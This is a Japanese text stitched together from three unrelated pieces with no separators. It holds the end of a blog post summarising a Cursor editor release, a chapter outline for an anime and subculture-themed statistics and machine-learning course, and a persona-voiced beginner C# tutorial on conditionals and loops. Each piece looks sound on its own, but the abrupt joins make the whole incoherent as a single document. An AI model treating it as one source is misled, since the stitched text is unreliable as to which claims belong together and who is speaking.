> メモリー機能を使用すると、Cursor は会話の内容を記憶し、後で参照することができます。メモリーはプロジェクトごとに個別に保存され、設定から管理できます。
思い出機能はベータ版としてリリース中です。ご利用を開始するには、「設定」→「ルール」から有効にしてください。

### jupyter notebook対応
> カーソルで Jupyter Notebook に変更を実装できるようになりました。
エージェントはJupyter内で複数のセルを直接作成・編集できるようになりました。これは、研究およびデータサイエンスのタスクにとって大きな改善となります。当初はSonnetモデルのみでサポートされます。

### その他のアップデート
- @Linkウェブ検索ではPDFを解析し、文脈に含めることができるようになりました
- 接続を確認するための設定のネットワーク診断
- 並列ツール呼び出しによる応答の高速化
- チャットでの折りたたみ可能なツール呼び出し
- エンタープライズ ユーザーは安定リリースのみにアクセスできます (プレリリースはありません)
- チーム管理者はプライバシーモードを無効にできるようになりました
- チームが使用状況指標や支出データにアクセスするための管理 API
- Gemini 2.5 FlashでMaxモードが利用可能になりました


## まとめ
メジャーバーションアップが実施されましたが、ビジネスユースのユーザーはプライバシーモードの制約により、バックグラウンドエージェントなどの主要な機能が利用できません！もう少し待ちといったところでしょうか。
今後のアップデートが楽しみです！

## 参考記事

[cursor changelog ](https://www.cursor.com/ja/changelog)
サブカルのための機械学習統計学



## ✅ 第1章：統計入門

### 1.1 推し作品・キャラ数の集計（カテゴリ変数と頻度分布）

* データ例：アニメキャラの性別・登場作品・所属グループ
* 手法：`value_counts()`, `groupby().size()`
* 可視化：棒グラフ・円グラフ

### 1.2 人気度の代表値（平均・中央値・最頻値）

* データ例：動画再生数、SNSいいね数、アニメ話数
* 指標比較：外れ値への感度と意味
* 演習：推し5人の人気指標を比較

### 1.3 箱ひげ図と「炎上投稿」外れ値の扱い

* 理論：四分位範囲 IQR, 外れ値検出
* データ例：RT数の異常分布、YouTubeコメント数
* 可視化：`seaborn.boxplot()`

### 1.4 分布の形とヒストグラム・正規性

* データ例：アニメ話数、楽曲長（秒）
* 手法：`hist()`, `skew()`, `kurtosis()`, `Shapiro-Wilk検定`
* 演習：推し楽曲の長さに正規分布は使えるか？

---

## ✅ 第2章：作品・キャラの類似度とクラスタリング

### 2.1 ジャンルをBag of Wordsでベクトル化

* データ例：ジャンル一覧（「バトル・学園・百合」など）
* 処理：`CountVectorizer`, `MultiLabelBinarizer`
* 演習：ジャンル×作品のスパース行列を作る

### 2.2 コサイン類似度・ユークリッド距離によるキャラ比較

* 理論：ベクトル間距離の意味と用途
* 実装：`cosine_similarity`, `euclidean_distances`
* 演習：推しキャラに似てるキャラを探せ

### 2.3 K-meansクラスタリングによる分類

* 理論：クラスタ重心・繰り返し更新
* 実装：`KMeans`（`n_clusters`を調整）
* 可視化：散布図・クラスタ色分け

### 2.4 PCAによる次元削減と2次元可視化

* 理論：主成分・分散・固有値
* 実装：`PCA(n_components=2)`
* 演習：作品・キャラのポジションマップ

---

## ✅ 第3章：レビューや台詞のテキスト統計と意味解析

### 3.1 TF-IDFでレビュー分析

* データ例：MyAnimeList/Filmarksのテキスト
* 処理：`TfidfVectorizer`
* 演習：神アニメと凡作のレビュー比較

### 3.2 Word2Vecによる意味空間の構築

* 学習済みモデル：GoogleNews, `gensim.models.KeyedVectors`
* 単語例：中二病、神回、カリスマ、闇堕ち
* 演習：意味ベクトルを2次元にプロット

### 3.3 類義語・対義語・構文パターン

* 概念：ベクトル演算 \$king - man + woman = queen\$
* 可視化：`TSNE`, `UMAP`
* 演習：類語・対語をAIに学ばせる

### 3.4 感情辞書によるセリフ感情解析

* ツール：日本語評価極性辞書 or NRC Emotion Lexicon
* 分析：キャラの感情プロファイル
* 可視化：レーダーチャート、棒グラフ

---

## ✅ 第4章：人気予測と推薦モデルの基本

### 4.1 線形回帰による人気指標の予測

* データ例：フォロワー数 → 再生数予測
* モデル：`LinearRegression`, MSE評価
* 演習：視聴回数ランキングを予測

### 4.2 ロジスティック回帰で「バズ/非バズ」分類

* データ：1日1ツイートのRT数（バズ閾値を設定）
* モデル：`LogisticRegression`, confusion matrix
* 指標：accuracy, precision, recall

### 4.3 協調フィルタリング入門

* ユーザ×作品行列の構築
* 欠損データと推薦アルゴリズムの違い（User-User vs Item-Item）
* 実装：`surprise`ライブラリなど

### 4.4 行列分解とヒートマップ可視化

* 理論：SVD, 潜在特徴ベクトル
* 実装：`TruncatedSVD`, seabornでヒートマップ表示
* 直感：好みと「推し」が近い次元で表現される

---

## ✅ 第5章：時系列とネット文化の変遷

### 5.1 ジャンル出現の年代分析

* データ：放送年 × ジャンル出現数
* 可視化：`lineplot()`, 累積グラフ
* 演習：2020年代のサブカル傾向を視る

### 5.2 再生数・投稿数のARモデル

* 理論：AR(1), AR(2)モデルと定常性
* 実装：`statsmodels.tsa.AR`, AICによるモデル選択

### 5.3 投稿間隔の指数分布モデリング

* 理論：待ち時間と確率密度（\$\lambda\$パラメータ）
* 可視化：ヒストグラムと指数曲線の重ね描き
* 演習：推しの投稿頻度はランダムか？

### 5.4 トレンドの波を数式で捉える

* 指標：移動平均、自己相関、周期性（季節調整）
* 実装：`rolling().mean()`, `acf()`
* 応用：年末年始のバズり傾向の解析

---

### ✅ 使用ライブラリ・環境（予定）

| ライブラリ          | 用途              |
| -------------- | --------------- |
| `pandas`       | データ処理           |
| `matplotlib`   | 可視化             |
| `seaborn`      | グラフ美化           |
| `scikit-learn` | ML基礎（回帰・分類・PCA） |
| `gensim`       | Word2Vec処理      |
| `statsmodels`  | ARモデル・統計検定      |
| `numpy`        | 数値処理            |
| `surprise`     | 推薦システム（拡張時）     |

---
【C#入門 第3章】条件分岐と繰り返し構文をマスターしてロジック美人に！

こんにちは、**CSharpTimes**の一之瀬シィよ💠  
今回はC#プログラミングの“肝”とも言える「条件分岐」と「繰り返し（ループ）」について教えてあげるわ。

---

## 🔀 条件分岐（if / else）

状況に応じて処理を分けたいときに使うのが `if` 文！

```csharp
int score = 85;

if (score >= 90)
{
    Console.WriteLine("最高！💯");
}
else if (score >= 70)
{
    Console.WriteLine("いい感じ！👍");
}
else
{
    Console.WriteLine("もっとがんばろ💪");
}
```

`==` は「等しいか？」の比較演算子よ。間違って `=`（代入）と書かないこと！

---

## 🧪 論理演算子（&&, ||, !）

複数条件を組み合わせるときはコレ！

```csharp
int age = 20;
bool hasTicket = true;

if (age >= 18 && hasTicket)
{
    Console.WriteLine("入場OK！");
}
```

- `&&`：かつ
- `||`：または
- `!` ：否定（例：`!true` → `false`）

---

## 🔁 繰り返し構文（ループ）

### 🔸 for文：回数が決まってるときに！

```csharp
for (int i = 1; i <= 5; i++)
{
    Console.WriteLine(i + "回目のループよ");
}
```

- `i = 1`：スタート
- `i <= 5`：継続条件
- `i++`：毎回1増える

---

### 🔸 while文：条件を満たす間ずっと！

```csharp
int count = 3;

while (count > 0)
{
    Console.WriteLine("あと" + count + "回！");
    count--;
}
```

---

## ⚠️ 無限ループに注意！

条件がずっと `true` のままだと、ループが終わらなくなるわよ💢

```csharp
// 間違った例（終了条件がない）
while (true)
{
    Console.WriteLine("これは止まらない...");
}
```

---

## 📌 まとめ

- `if` 文で条件によって処理を分けられる
- `for` 文は決まった回数、`while` 文は条件が続く限り繰り返す
- 条件ミスで無限ループにならないよう注意！

---

次回は、 **「第4章：メソッドの定義と使い方」** よ。  
そろそろ“効率化の美学”を学んでちょうだい💢